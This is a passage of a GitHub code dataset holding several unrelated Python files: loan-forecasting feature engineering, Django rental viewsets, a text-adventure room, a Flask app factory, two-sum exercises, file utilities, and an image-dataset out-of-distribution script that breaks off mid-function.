x.sum(),axis=1)\n        click_weeks_df['click_weeks_mean'] = click_weeks_df[['click_week1','click_week2','click_week3','click_week4']].apply(lambda x: x.mean(),axis=1)\n        click_weeks_df['click_weeks_std'] = click_weeks_df[['click_week1','click_week2','click_week3','click_week4']].apply(lambda x: x.std(),axis=1)\n        click_weeks_df['click_weeks_std'] = click_weeks_df['click_weeks_std'].map(lambda x : 1/(1+x))\n        click_weeks_df = click_weeks_df[['uid','click_weeks_min','click_weeks_max','click_weeks_sum','click_weeks_mean','click_weeks_std']]\n\n        action_weeks_df = pd.merge(loan_weeks_df,order_weeks_df,how='outer',on='uid')\n        action_weeks_df = pd.merge(action_weeks_df,click_weeks_df,how='outer',on='uid')\n\n        loan_ = weeks_df[weeks_df.uid.isin(loan_order_commom_user)].sort_values(by='uid')\n        order_ = weeks_df1[weeks_df1.uid.isin(loan_order_commom_user)].sort_values(by='uid')\n        week_loan_order = loan_.loc[:,[False,True,True,True,True]].values * order_.loc[:,[False,True,True,True,True]].values\n        week_loan_order = np.c_[np.array(loan_['uid']),week_loan_order]\n        week_loan_order = pd.DataFrame(week_loan_order,columns=['uid','week_lo_1','week_lo_2','week_lo_3','week_lo_4'])\n\n        click_ = weeks_df2[weeks_df2.uid.isin(click_order_commom_user)].sort_values(by='uid')\n        order_ = weeks_df1[weeks_df1.uid.isin(click_order_commom_user)].sort_values(by='uid')\n        week_click_order = click_.loc[:,[False,True,True,True,True]].values * order_.loc[:,[False,True,True,True,True]].values\n        week_click_order = np.c_[np.array(click_['uid']),week_click_order]\n        week_click_order = pd.DataFrame(week_click_order,columns=['uid','week_co_1','week_co_2','week_co_3','week_co_4'])\n\n        loan_ = weeks_df[weeks_df.uid.isin(loan_click_commom_user)].sort_values(by='uid')\n        click_ = weeks_df2[weeks_df2.uid.isin(loan_click_commom_user)].sort_values(by='uid')\n        week_loan_click = loan_.loc[:,[False,True,True,True,True]].values * click_.loc[:,[False,True,True,True,True]].values\n        week_loan_click = np.c_[np.array(loan_['uid']),week_loan_click]\n        week_loan_click = pd.DataFrame(week_loan_click,columns=['uid','week_lc_1','week_lc_2','week_lc_3','week_lc_4'])\n\n        loan_ = weeks_df[weeks_df.uid.isin(loan_click_order_commom_user)].sort_values(by='uid')\n        click_ = weeks_df2[weeks_df2.uid.isin(loan_click_order_commom_user)].sort_values(by='uid')\n        order_ = weeks_df1[weeks_df1.uid.isin(loan_click_order_commom_user)].sort_values(by='uid')\n        week_loan_click_order = loan_.loc[:,[False,True,True,True,True]].values * click_.loc[:,[False,True,True,True,True]].values * order_.loc[:,[False,True,True,True,True]].values\n        week_loan_click_order = np.c_[np.array(loan_['uid']),week_loan_click_order]\n        week_loan_click_order = pd.DataFrame(week_loan_click_order,columns=['uid','week_lco_1','week_lco_2','week_lco_3','week_lco_4'])\n\n        train_interactive_week_feat = pd.merge(week_loan_order,week_click_order,how='outer',on='uid')\n        train_interactive_week_feat = pd.merge(train_interactive_week_feat,week_loan_click,how='outer',on='uid')\n        train_interactive_week_feat = pd.merge(train_interactive_week_feat,week_loan_click_order,how='outer',on='uid')\n        train_interactive_week_feat = train_interactive_week_feat.fillna(0)\n\n        feature = list(train_interactive_week_feat.columns)\n        feature.remove('uid')\n        train_interactive_week_feat['interactive_min'] = train_interactive_week_feat[feature].apply(lambda x: x.min(),axis=1)\n        train_interactive_week_feat['interactive_max'] = train_interactive_week_feat[feature].apply(lambda x: x.max(),axis=1)\n        train_interactive_week_feat['interactive_sum'] = train_interactive_week_feat[feature].apply(lambda x: x.sum(),axis=1)\n        train_interactive_week_feat['interactive_mean'] = train_interactive_week_feat[feature].apply(lambda x: x.mean(),axis=1)\n        train_interactive_week_feat['interactive_std'] = train_interactive_week_feat[feature].apply(lambda x: x.std(),axis=1)\n        train_interactive_week_feat['interactive_std'] = train_interactive_week_feat['interactive_std'].map(lambda x : 1/(1+x))\n\n        train_interactive_feat = pd.merge(train_interactive_feat,action_weeks_df,how='outer',on='uid')\n        train_interactive_feat = pd.merge(train_interactive_feat,train_interactive_week_feat,how='outer',on='uid')\n        train_interactive_feat = train_interactive_feat.fillna(0)\n        pickle.dump(train_interactive_feat, open(dump_path, 'wb'))\n    return train_interactive_feat\n\n\ndef make_train_set():\n    dump_path = './data/training.pkl'\n    if os.path.exists(dump_path):\n        train_set = pickle.load(open(dump_path,'rb'))\n    else:\n        df_user = gen_basic_user_feat()\n        df_order = gen_basic_order_feat()\n        df_filter_order = gen_filter_order_feat()\n        df_loan = gen_basic_loan_feat()\n        df_filter_loan = gen_filter_loan_feat()\n        df_click = gen_basic_click_feat()\n        df_filter_click = gen_filter_click_feat()\n        train_union_feat,_ = gen_union_feat()\n        df_interactive_feat = gen_interactive_feat()\n        df_label = gen_labels()\n        # df_label2 = gen_labels2()\n\n        train_set = pd.merge(df_user, df_order, how='outer', on='uid')\n        train_set = pd.merge(train_set, df_filter_order, how='outer', on='uid')\n        train_set = pd.merge(train_set, df_loan, how='outer', on='uid')\n        train_set = pd.merge(train_set, df_filter_loan, how='outer', on='uid')\n        train_set['repay_cost'] = train_set['repay']+train_set['cost_weight']\n        train_set = pd.merge(train_set, df_click, how='outer', on='uid')\n        train_set = pd.merge(train_set, df_filter_click, how='outer', on='uid')\n        train_set = pd.merge(train_set, train_union_feat, how='outer', on='uid')\n        train_set = pd.merge(train_set, df_interactive_feat, how='outer', on='uid')\n        train_set = pd.merge(train_set, df_label, how='outer', on='uid')\n        # train_set = pd.merge(train_set, df_label2, how='outer', on='uid')\n        train_set = train_set.fillna(0)\n\n        change_list = ['cost_weight','real_price','buy_weights','loan_amount','click_weights','click_min','click_max','click_mean','click_sum','click_std',\\\n                        'per_times_loan','repay','repay_cost','loan_min','loan_max','loan_mean','loan_sum','loan_std','limit',\\\n                        'buy_min','buy_mean','buy_max','buy_sum','buy_std']\n        for col in change_list:\n            train_set[col] = train_set[col].map(lambda x : math.log(x+1,5))\n\n        feat = list(train_set.columns)\n        feat.remove('label')\n        cluster_label = user_cluster(train_set[feat],'train','all')\n        train_set['cluster_label'] = cluster_label\n\n        pickle.dump(train_set, open(dump_path, 'wb'))\n    feat_id = {i:fea for i ,fea in enumerate(list(train_set.columns))}\n    print(feat_id)\n\n    return train_set\n\ndef make_training_data():\n    dump_path1 = './data/model1_training.pkl'\n    dump_path2 = './data/model2_training.pkl'\n    if os.path.exists(dump_path1):\n        model1_training = pickle.load(open(dump_path1,'rb'))\n        model2_training = pickle.load(open(dump_path2,'rb'))\n    else:\n        df_user = gen_basic_user_feat()\n        df_order = gen_basic_order_feat()\n        df_filter_order = gen_filter_order_feat()\n        df_loan = gen_basic_loan_feat()\n        df_filter_loan = gen_filter_loan_feat()\n        df_click = gen_basic_click_feat()\n        df_filter_click = gen_filter_click_feat()\n        train_union_feat,_ = gen_union_feat()\n        df_label = gen_labels()\n\n        model1_training = pd.merge(df_user, df_order, how='outer', on='uid')\n        model1_training = pd.merge(model1_training, df_filter_order, how='outer', on='uid')\n        model1_training = pd.merge(model1_training, df_loan, how='outer', on='uid')\n        model1_training = pd.merge(model1_training, df_filter_loan, how='outer', on='uid')\n        model1_training['repay_cost'] = model1_training['repay']+model1_training['cost_weight']\n        model1_training = pd.merge(model1_training, df_click, how='outer', on='uid')\n        model1_training = pd.merge(model1_training, df_filter_click, how='outer', on='uid')\n        # model1_training = pd.merge(model1_training, train_union_feat, how='outer', on='uid')\n        model1_training = pd.merge(model1_training, df_label, how='outer', on='uid')\n        model1_training = model1_training.fillna(0)\n\n        change_list = ['cost_weight','real_price','buy_weights','loan_amount','click_weights','click_min','click_max','click_mean','click_sum','click_std',\\\n                        'per_times_loan','repay','repay_cost','loan_min','loan_max','loan_mean','loan_sum','loan_std','limit',\\\n                        'buy_min','buy_mean','buy_max','buy_sum','buy_std']\n        for col in change_list:\n            model1_training[col] = model1_training[col].map(lambda x : math.log(x+1,5))\n\n        pickle.dump(model1_training, open(dump_path1, 'wb'))\n        feat_id = {i:fea for i ,fea in enumerate(list(model1_training.columns))}\n        print(feat_id)\n\n        model2_training = pd.merge(df_user, df_order, how='outer', on='uid')\n        model2_training = pd.merge(model2_training, df_filter_order, how='outer', on='uid')\n        model2_training = pd.merge(model2_training, df_click, how='outer', on='uid')\n        model2_training = pd.merge(model2_training, df_filter_click, how='outer', on='uid')\n        model2_training = pd.merge(model2_training, train_union_feat, how='outer', on='uid')\n        model2_training = pd.merge(model2_training, df_label, how='outer', on='uid')\n        model2_training = model2_training.fillna(0)\n\n        change_list = ['cost_weight','real_price','buy_weights','click_weights','click_min','click_max','click_mean','click_sum','click_std',\\\n                        'buy_min','buy_mean','buy_max','buy_sum','buy_std']\n        for col in change_list:\n            model2_training[col] = model2_training[col].map(lambda x : math.log(x+1,5))\n\n        pickle.dump(model2_training, open(dump_path2, 'wb'))\n        feat_id = {i:fea for i ,fea in enumerate(list(model2_training.columns))}\n        print(feat_id)\n\n    return model1_training,model2_training\n\ndef make_clf_train_set():\n    dump_path = './data/clf_train_set.pkl'\n    if os.path.exists(dump_path):\n        clf_train_set = pickle.load(open(dump_path,'rb'))\n    else:\n        user_dict = gen_user_dict()\n        df_user = gen_basic_user_feat()\n        df_order = gen_basic_order_feat()\n        df_click = gen_basic_click_feat()\n        df_filter_click = gen_filter_click_feat()\n        train_union_feat,_ = gen_union_feat()\n        df_label2 = gen_labels2()\n\n        clf_train_set = pd.merge(df_user, df_order, how='outer', on='uid')\n        clf_train_set = pd.merge(clf_train_set, df_click, how='outer', on='uid')\n        clf_train_set = pd.merge(clf_train_set, df_filter_click, how='outer', on='uid')\n        clf_train_set = pd.merge(clf_train_set, train_union_feat, how='left', on='uid')\n        clf_train_set = pd.merge(clf_train_set, df_label2, how='left', on='uid')\n        clf_train_set = clf_train_set.fillna(0)\n\n        change_list = ['cost_weight','real_price','click_weights',\\\n                        ]\n        for col in change_list:\n            clf_train_set[col] = clf_train_set[col].map(lambda x : math.log(x+1,5))\n\n        pickle.dump(clf_train_set, open(dump_path, 'wb'))\n    feat_id = {i:fea for i ,fea in enumerate(list(clf_train_set.columns))}\n    print(feat_id)\n\n    return clf_train_set\n\ndef spilt_train_test():\n    X_train_dump_path = './data/X_train.pkl'\n    X_test_dump_path = './data/X_test.pkl'\n    y_train_dump_path = './data/y_train.pkl'\n    y_test_dump_path = './data/y_test.pkl'\n    y_train_dump_path2 = './data/y_train2.pkl'\n    y_test_dump_path2 = './data/y_test2.pkl'\n    if os.path.exists(X_train_dump_path):\n        X_train = pickle.load(open(X_train_dump_path,'rb'))\n        X_test = pickle.load(open(X_test_dump_path,'rb'))\n        y_train = pickle.load(open(y_train_dump_path,'rb'))\n        y_test = pickle.load(open(y_test_dump_path,'rb'))\n        y_train2 = pickle.load(open(y_train_dump_path2,'rb'))\n        y_test2 = pickle.load(open(y_test_dump_path2,'rb'))\n    else:\n        train_set = make_train_set()\n\n        train_set.sample(frac=1)\n        labels = train_set['label'].copy()\n        labels = np.array(labels)\n\n        labels2 = train_set['label2'].copy()\n        labels2 = np.array(labels2)\n\n        user_uid = train_set[['uid','label']].copy()\n\n        del train_set['label']\n        del train_set['label2']\n        del train_set['uid']\n\n        feat = sorted(list(train_set.columns))\n        train_set = train_set[feat]\n        feat_id = {i:fea for i ,fea in enumerate(list(train_set.columns))}\n        print(feat_id)\n\n        train_data = np.array(train_set)\n\n        test_ratio = 0.2\n        num = int(len(labels)*test_ratio)\n        test_uid = user_uid.iloc[:num,]\n        test_uid.to_csv('test_uid.csv',index = False)\n\n        X_test = train_data[:num]\n        X_train = train_data[num:]\n\n        y_test = labels[:num]\n        y_train = labels[num:]\n\n        y_test2 = labels2[:num]\n        y_train2 = labels2[num:]\n\n        pickle.dump(X_train, open(X_train_dump_path, 'wb'))\n        pickle.dump(X_test, open(X_test_dump_path, 'wb'))\n        pickle.dump(y_train, open(y_train_dump_path, 'wb'))\n        pickle.dump(y_test, open(y_test_dump_path, 'wb'))\n\n        pickle.dump(y_train2, open(y_train_dump_path2, 'wb'))\n        pickle.dump(y_test2, open(y_test_dump_path2, 'wb'))\n\n    return X_train,X_test,y_train,y_test,y_train2,y_test2\n\n\ndef report(label, pred):\n    import matplotlib.pyplot as plt\n    plt.figure(figsize=(8,6))\n    plt.scatter(range(len(pred)), sorted(pred))\n    plt.xlabel('uid to reindex', fontsize=12)\n    plt.ylabel('predict', fontsize=12)\n    plt.show()\n\n    plt.figure(figsize=(8,6))\n    plt.scatter(range(len(label)), sorted(label))\n    plt.xlabel('uid to reindex', fontsize=12)\n    plt.ylabel('label', fontsize=12)\n    plt.show()\n\n    label = np.array(label)\n    pred = np.array(pred)\n    a = pred - label\n    b = a * a\n\n    rmse = np.sqrt(np.sum(b)/len(pred))\n    print('RMSE:',rmse)\n\n    plt.figure(figsize=(8,6))\n    plt.scatter(range(len(a)), sorted(a))\n    plt.xlabel('uid to index', fontsize=12)\n    plt.ylabel('The difference between pred and label', fontsize=12)\n    plt.show()\n\nif __name__ == '__main__':\n    make_train_set()\n    # make_clf_train_set()\n    # make_training_data()\n    # gen_train_test_user()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"wangle1218/2017JDD-Loan_Forecasting_Qualification","sub_path":"original_version/gen_train_data.py","file_name":"gen_train_data.py","file_ext":"py","file_size_in_byte":58545,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"18"}
{"seq_id":"17417815001","text":"from rest_framework import viewsets, filters\n\nfrom django.contrib.gis.geos import Point, fromstr\nfrom django.contrib.gis.measure import Distance\n\nfrom django.db.models import Q\n\nfrom datetime import datetime\n\nfrom .serializers import (CategorySerializer, CategoryPropertySerializer,\n    GearSerializer, GearPropertySerializer,\n    LocationSerializer, GearAvailabilitySerializer,\n    GearImageSerializer)\n\nfrom users.models import User\nfrom rentals.models import Transaction\nfrom .models import (Category, CategoryProperty, Gear, GearProperty, Location,\n    GearAvailability, GearImage)\n\n\n\n\nclass CategoryViewSet(viewsets.ModelViewSet):\n    queryset = Category.objects.all().order_by(\"name\")\n    serializer_class = CategorySerializer\n\n\nclass CategoryPropertyViewSet(viewsets.ModelViewSet):\n    queryset = CategoryProperty.objects.all().order_by(\"name\")\n    serializer_class = CategoryPropertySerializer\n\n\nclass GearViewSet(viewsets.ModelViewSet):\n    queryset = Gear.objects.all().order_by(\"name\")\n    serializer_class = GearSerializer\n\n\nclass GearPropertyViewSet(viewsets.ModelViewSet):\n    queryset = GearProperty.objects.all()\n    serializer_class = GearPropertySerializer\n\n\nclass LocationViewSet(viewsets.ModelViewSet):\n    queryset = Location.objects.all()\n    serializer_class = LocationSerializer\n    filter_backends = (filters.DjangoFilterBackend,)\n    filter_fields = (\"address\",)\n\n    def get_queryset(self):\n        query_params = Q()\n        categories_params = Q()\n        exclude_dates_params = Q()\n\n        categories = self.request.query_params.getlist('categories[]')\n        latitude = (self.request.query_params.get('lat'))\n        longitude = (self.request.query_params.get('lng'))\n        distance = (self.request.query_params.get('miles'))\n        min_price = (self.request.query_params.get('minPrice'))\n        max_price = (self.request.query_params.get('maxPrice'))\n        start_date = (self.request.query_params.get('startDate'))\n        end_date = (self.request.query_params.get('endDate'))\n        gear = (self.request.query_params.get('gear'))\n        user = (self.request.query_params.get('user'))\n\n        if latitude and longitude and distance:\n            center = fromstr(\"POINT({} {})\".format(latitude, longitude))\n            distance_from_point = {'mi': distance}\n            query_params.add(Q(point__distance_lte=(center, Distance(**distance_from_point))), query_params.connector)\n        if min_price:\n            query_params.add(Q(gear__price__gte=min_price), query_params.connector)\n        if max_price:\n            query_params.add(Q(gear__price__lte=max_price), query_params.connector)\n        if gear:\n            query_params.add(Q(gear__id=gear), query_params.connector)\n        if user:\n            query_params.add(Q(gear__user__id=user), query_params.connector)\n\n        if start_date:\n            start = datetime.strptime(start_date, \"%Y-%m-%d\")\n            exclude_dates_params.add(Q(gear__gearavailability__not_available_date__gte=start), query_params.connector)\n        if end_date:\n            end = datetime.strptime(end_date, \"%Y-%m-%d\")\n            exclude_dates_params.add(Q(gear__gearavailability__not_available_date__lte=end), query_params.connector)\n\n        for i in categories:\n            categories_params.add(Q(gear__category__id=i), categories_params.OR)\n\n        queryset = self.queryset.filter(query_params).filter(categories_params).exclude(exclude_dates_params)#.distance(center).order_by('distance')\n        return queryset\n\n\nclass GearAvailabilityViewSet(viewsets.ModelViewSet):\n    queryset = GearAvailability.objects.all()\n    serializer_class = GearAvailabilitySerializer\n\n\nclass GearImageViewSet(viewsets.ModelViewSet):\n    queryset = GearImage.objects.all()\n    serializer_class = GearImageSerializer","repo_name":"kaisaf/gearcircles","sub_path":"gc_project/gears/viewsets.py","file_name":"viewsets.py","file_ext":"py","file_size_in_byte":3781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"20683555703","text":"import adventure_game.my_utils as utils\r\n\r\n# # # # #\r\n# ROOM 14\r\n#\r\n# Serves as a good template for blank rooms\r\n\r\n\r\nroom14_inventory = {\r\n    'wolf': 1,\r\n}\r\n\r\ndef run_room(player_inventory):\r\n    # Let the user know what the room looks like\r\n    # valid commands for this room\r\n    room14_description = '''\r\n        . . .  14th room ... \r\n        You find yourself in a dimly lit room.\r\n        '''\r\n\r\n    if room14_inventory['wolf'] > 0:\r\n        room14_description = room14_description + \" A wolf sits in front of the only other door to the SOUTH. It is incredibly thin and desperate for food. \" \\\r\n                                                  \"You are starting to look pretty tasty.\"\r\n    print(room14_description)\r\n\r\n\r\n    commands = [\"go\", \"take\", \"drop\", \"use\", \"examine\", \"status\", \"help\"]\r\n    no_args = [\"examine\", \"status\", \"help\"]\r\n\r\n    # nonsense room number,\r\n    # In the loop below the user should eventually ask to \"go\" somewhere.\r\n    # If they give you a valid direction then set next_room to that value\r\n    next_room = -1\r\n\r\n    done_with_room = False\r\n    while not done_with_room:\r\n        # Examine the response and decide what to do\r\n        response = utils.ask_command(\"What do you want to do?\", commands, no_args)\r\n        response = utils.scrub_response(response)\r\n        the_command = response[0].lower()\r\n\r\n        # now deal with the command\r\n        if the_command == 'go':\r\n            direction = response[1].lower()\r\n            if direction == 'east':\r\n                next_room = 12\r\n                done_with_room = True\r\n            if direction == 'south':\r\n                if room14_inventory['wolf'] == 0:\r\n                    next_room = 15\r\n                    done_with_room = True\r\n                else:\r\n                    print(\"The wolf is still in the way.\")\r\n            else:\r\n                print(\"You cannot go\", direction)\r\n        elif the_command == 'take':\r\n            take_what = response[1].lower()\r\n            if take_what != 'wolf':\r\n                utils.take_item(player_inventory, room14_inventory, take_what)\r\n            else:\r\n                print(\"The wolf is chained to the wall. You cannot take her with you.\")\r\n        elif the_command == 'status':\r\n            utils.room_status(room14_inventory)\r\n            utils.player_status(player_inventory)\r\n        elif the_command == 'drop':\r\n            drop_what = response[1]\r\n            if drop_what == 'meat':\r\n                if 'meat' in player_inventory.keys():\r\n                    utils.drop_item(player_inventory, room14_inventory, drop_what)\r\n                    print(\"The wolf tears into it. It seems like she is very happy with you now and moves out of the way.\")\r\n                    room14_inventory['wolf'] = 0\r\n            else:\r\n                utils.drop_item(player_inventory, room14_inventory, drop_what)\r\n        elif the_command == 'examine':\r\n            examine_what = response[1]\r\n            if examine_what == 'map':\r\n                utils.map(player_inventory)\r\n        elif the_command == 'drink':\r\n            potion = response[1]\r\n            if potion == 'healing potion':\r\n                if player_inventory['healing potion'] == 1:\r\n                    print(\"You drink a healing potion. You gain 20 hit points.\")\r\n                    player_inventory['health'] = player_inventory['health'] + 20\r\n                    print(\"Your health is now:\", player_inventory['health'])\r\n            elif potion == 'minor healing potion':\r\n                if player_inventory['minor healing potion']:\r\n                    print(\"You drink the minor healing potion. You gain 10 hit points.\")\r\n                    player_inventory['health'] = player_inventory['health'] + 10\r\n                    print(\"Your health is now:\", player_inventory['health'])\r\n            else:\r\n                print(\"You do not have a healing potion Donny.\")\r\n        elif the_command == 'use':\r\n            use_what = response[1]\r\n            if use_what == 'sword':\r\n                print(\"The second you reach for your sword, the wolf grows at you. There must be another way.\")\r\n            elif use_what == 'meat':\r\n                if 'meat' in player_inventory.keys():\r\n                    print(\"The wolf doesn't want to eat it while you are holding it.\")\r\n                else:\r\n                    print(\"You don't have any.\")\r\n            else:\r\n                print(\"Nothing happens.\")\r\n\r\n\r\n            # END of WHILE LOOP - done_room\r\n            # TODO return next room\r\n    return next_room","repo_name":"ReidLuhn/maze_game","sub_path":"adventure_game/rooms/room14.py","file_name":"room14.py","file_ext":"py","file_size_in_byte":4535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"42304239713","text":"import os \nfrom flask import Flask\n\ndef create_app(test_config=None):\n\tapp = Flask(__name__, instance_relative_config=True) # application factory\n\t\n\t# default config\n\tapp.config.from_mapping(\n\t\tSECRET_KEY='yolo',\n\t\tDATABASE=os.path.join(app.instance_path, 'flaskr.sqlite'),\n\t)\n\t#loads config\n\tif test_config is None:\n\t\tapp.config.from_pyfile('config.py', silent=True)\n\telse:\n\t\tapp.config.from_mapping(test_config)\n\t\t\n\t#tests for instance folder\t\n\ttry:\n\t\tos.makedirs(app.instance_path)\n\texcept OSError:\n\t\tpass\n\t\t\n\t#app blueprints\n\t\n\tfrom . import db # imports the db file from the current directory\n\tdb.init_app(app)\n\n\tfrom . import auth #authentication for login and register\n\tapp.register_blueprint(auth.bp)\n\n\tfrom . import about #File that controls, the about section\n\tapp.register_blueprint(about.bp)\n\t\n\tfrom . import home #home screen\n\tapp.register_blueprint(home.bp)\n\t\n\tfrom . import plans #plans\n\tapp.register_blueprint(plans.bp)\n\t\n\tfrom . import profile #profiles\n\tapp.register_blueprint(profile.bp)\n\t\n\t#app views\n\t@app.route('/hello')\n\tdef hello():\n\t\treturn 'Hello world'\n\t\t\n\treturn app\n","repo_name":"wwu-csci-497/csci-497-project-learn-with-me","sub_path":"Flask2/flaskr/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"9466653648","text":"''''\nGiven an array of sorted numbers and a target sum, find a pair in the array whose\nsum is equal to the given target.\nYou can assume the input will be sorted always\n'''\n\n# Use a nested loop to get all possible combinations of the sum of two\n# Compare with the target\n# Return the indexes if they equal the target\ndef twoSumNaive(arr, target): # O(n2) time, O(1) space\n    for i in range(len(arr)):\n        for j in range(i+1, len(arr)):\n            if arr[i] + arr[j] == target:\n                return [i, j]\n    return -1\n\n\n# Use a hashmap to keep all visited nums\n# Check if the diff btn the target and nus starting with the second one are\n# in the hasmap, if so, return the idx of the current num and the idx in \n# the map that corresponds to the diff\ndef twoSumOptimum(arr, target): # O(n) time, O(n) space\n    visited = {} # num : idx\n\n    for i in range(len(arr)):\n        diff = target - arr[i]\n        if diff in visited:\n            return [visited[diff], i]\n        \n        visited[arr[i]] = i\n\n\n'''\nWe can follow the Two Pointers approach. We will start with one pointer pointing to\nthe beginning of the array and another pointing at the end. At every step, we will\nsee if the numbers pointed by the two pointers add up to the target sum. If they do,\nwe have found our pair; otherwise, we will do one of two things:\n\nIf the sum of the two numbers pointed by the two pointers is greater than the target sum,\nthis means that we need a pair with a smaller sum. So, to try more pairs, we can decrement\nthe end-pointer.\nIf the sum of the two numbers pointed by the two pointers is smaller than the target sum,'\nthis means that we need a pair with a larger sum. So, to try more pairs, we can increment\nthe start-pointer.\n'''\n#The time complexity of the above algorithm will be O(N), where ‘N’ is the total number \n# of elements in the given array.\n#The algorithm runs in constant space O(1).\ndef twoSumTwoPointer(arr, target):\n    left = 0\n    right = len(arr) - 1\n    while left <= right:\n        currSum = arr[left] + arr[right]\n        if currSum == target:\n            return [left, right]\n        if currSum > target:\n            right -= 1\n        else:\n            left += 1\n    return -1\nif __name__ == \"__main__\":\n    print(twoSumOptimum([1,3,4,5], 7))\n    print(twoSumNaive([1,3,4,5], 7))\n    print(twoSumTwoPointer([1,3,4,5], 7))\n  ","repo_name":"yonahgraphics/Grokking-Leetcode-Patterns","sub_path":"Two Pointers/pairWithTargetSum.py","file_name":"pairWithTargetSum.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"4599257364","text":"import sys\nnombres = sys.stdin.readline().split()\n\nnombre1 = int(nombres[0])\nnombre2 = int(nombres[1])\n\nnombre1 = str(nombre1)[::-1]\nnombre2 = str(nombre2)[::-1]\n\nnombre1 = int(nombre1)\nnombre2 = int(nombre2)\n\nif nombre1 <= nombre2:\n    print(nombre2)\nelse:\n    print(nombre1)\n","repo_name":"FredericCanaud/Kattis","sub_path":"Filip/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"27224417034","text":"# -*- coding: utf-8 -*-\nimport os\nfrom datetime import datetime\n\nclass UtilFile():\n    @staticmethod\n    def create_data_files(base_url, queue_filename, crawled_filename, path_filename):\n        UtilFile.write_file(queue_filename,base_url)\n        UtilFile.write_file(crawled_filename,'')\n        UtilFile.write_file(path_filename,'')\n\n    @staticmethod\n    def write_file(path, data):\n        fd = open(path, 'w+', encoding=\"utf-8\")\n        fd.write(data)\n        fd.close()\n    \n    @staticmethod\n    def append_to_file(path, data):\n        fd = open(path,'a+',encoding=\"utf-8\")\n        fd.write(data + '\\n')\n        fd.close()\n\n    @staticmethod\n    def delete_file_contents(path):\n        open(path,'w').close()\n\n    @staticmethod\n    def delete_file(path):\n        os.remove(path)\n        \n    @staticmethod\n    def file_to_set(file_name):\n        result = set()\n        fd = open(file_name,'rt', encoding=\"utf-8\")\n        for line in fd.readlines():\n            result.add(line.replace('\\n',''))\n        fd.close()\n        return result\n\n    @staticmethod\n    def set_to_file(path, file_name):\n        fd = open(file_name,'w', encoding=\"utf-8\")\n        for l in sorted(path):\n            fd.write(l+'\\n')\n        fd.close()\n\n    @staticmethod\n    def current_path(base_path, subpath):\n        return f\"{base_path}/{subpath}\"\n\n    @staticmethod\n    def directories_in_path(path):\n        return [name for name in os.listdir(path) \\\n                if os.path.isdir(os.path.join(path, name))]\n\n    @staticmethod\n    def files_in_path(path):\n        return [name for name in os.listdir(path) \\\n                if not os.path.isdir(os.path.join(path, name))]\n\n    @staticmethod\n    def files_in_paths(paths):\n        files = []\n        for path in paths:\n            files += UtilFile.files_in_path(path)\n        return files\n","repo_name":"ariesduanmu/Spider","sub_path":"filecrawler/src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"43347806288","text":"# from robustness import model_utils, datasets, train, defaults\n# from robustness.datasets import CIFAR\nimport torch as ch\nimport dill\nfrom cox.utils import Parameters\nimport cox.store\nimport numpy as np\nimport torch\nimport torchvision\nimport matplotlib.pyplot as plt\nfrom time import time\nimport torchvision.models as models\nfrom torchvision import datasets, transforms\nfrom torch import nn, optim\nimport torch.nn.functional as F\nfrom sklearn.svm import SVC\nimport torch\nimport torchvision\nimport matplotlib.pyplot as plt\nfrom time import time\nfrom torchvision import datasets, transforms\nfrom torch import nn, optim\nimport torch.nn.functional as F\nimport sys\nfrom sklearn.feature_selection import SelectKBest, f_classif\nfrom sklearn import metrics\nfrom sklearn import svm\nfrom sklearn import linear_model\nfrom sklearn.svm import LinearSVC\nfrom sklearn.metrics import average_precision_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix\n\nfrom sklearn.utils import shuffle\nfrom torchvision.utils import save_image\nimport pickle\nimport numpy as np\nimport csv\nimport numpy as np\nimport os\nimport argparse\nimport time\nimport torch\nimport torch.nn as nn\nimport torch.backends.cudnn as cudnn\nimport torchvision.transforms as trn\nimport torchvision.datasets as dset\nimport torch.nn.functional as F\nfrom tqdm import tqdm\nfrom tiny_imagenet.wideresnet import WideResNet\nfrom utils.utils import *\nmean = [0.485, 0.456, 0.406]\nstd = [0.229, 0.224, 0.225]\n\n\ndef load_sun():\n    data_path = 'tiny_imagenet/SUN2012'\n    train_dataset = torchvision.datasets.ImageFolder(\n        root=data_path,\n        transform=transforms.Compose([torchvision.transforms.Resize((64,64)),torchvision.transforms.ToTensor(), torchvision.transforms.Normalize(mean, std)])\n    )\n    train_loader = torch.utils.data.DataLoader(\n        train_dataset,\n        batch_size=1,\n        num_workers=0,\n        shuffle=True\n    )\n    return train_loader\n\ndef sun(model):\n    sun=[]\n    model.eval()\n    correct=0\n\n    i=0\n\n    for data, target in load_sun():\n        i+=1\n        print(i)\n        if i>10000:\n            break\n\n        model.zero_grad()\n        output = model(data)\n\n        pred = output.data.max(1, keepdim=True)[1]\n        correct += pred.eq(target.data.view_as(pred)).sum()\n\n        activations = model.get_activations(data).detach()\n        x = torch.flatten(activations).numpy()\n\n        out_vector=torch.flatten(F.softmax(output).detach()).numpy()\n        out_vector = np.sort(out_vector)\n\n        out_vector=np.append(x, out_vector)\n\n        sun.append(out_vector)\n\n\n    return np.array(sun)\n\n\n\n\n\ndef load_places365():\n    data_path = 'tiny_imagenet/places365'\n    train_dataset = torchvision.datasets.ImageFolder(\n        root=data_path,\n        transform=transforms.Compose([torchvision.transforms.Resize((64,64)),torchvision.transforms.ToTensor(), torchvision.transforms.Normalize(mean, std)])\n    )\n    train_loader = torch.utils.data.DataLoader(\n        train_dataset,\n        batch_size=1,\n        num_workers=0,\n        shuffle=True\n    )\n    return train_loader\n\ndef places365(model):\n    places365_list=[]\n    places365_latent=[]\n    model.eval()\n    correct=0\n\n    i=0\n\n    for data, target in load_places365():\n        i+=1\n        print(i)\n        if i>5000:\n            break\n\n        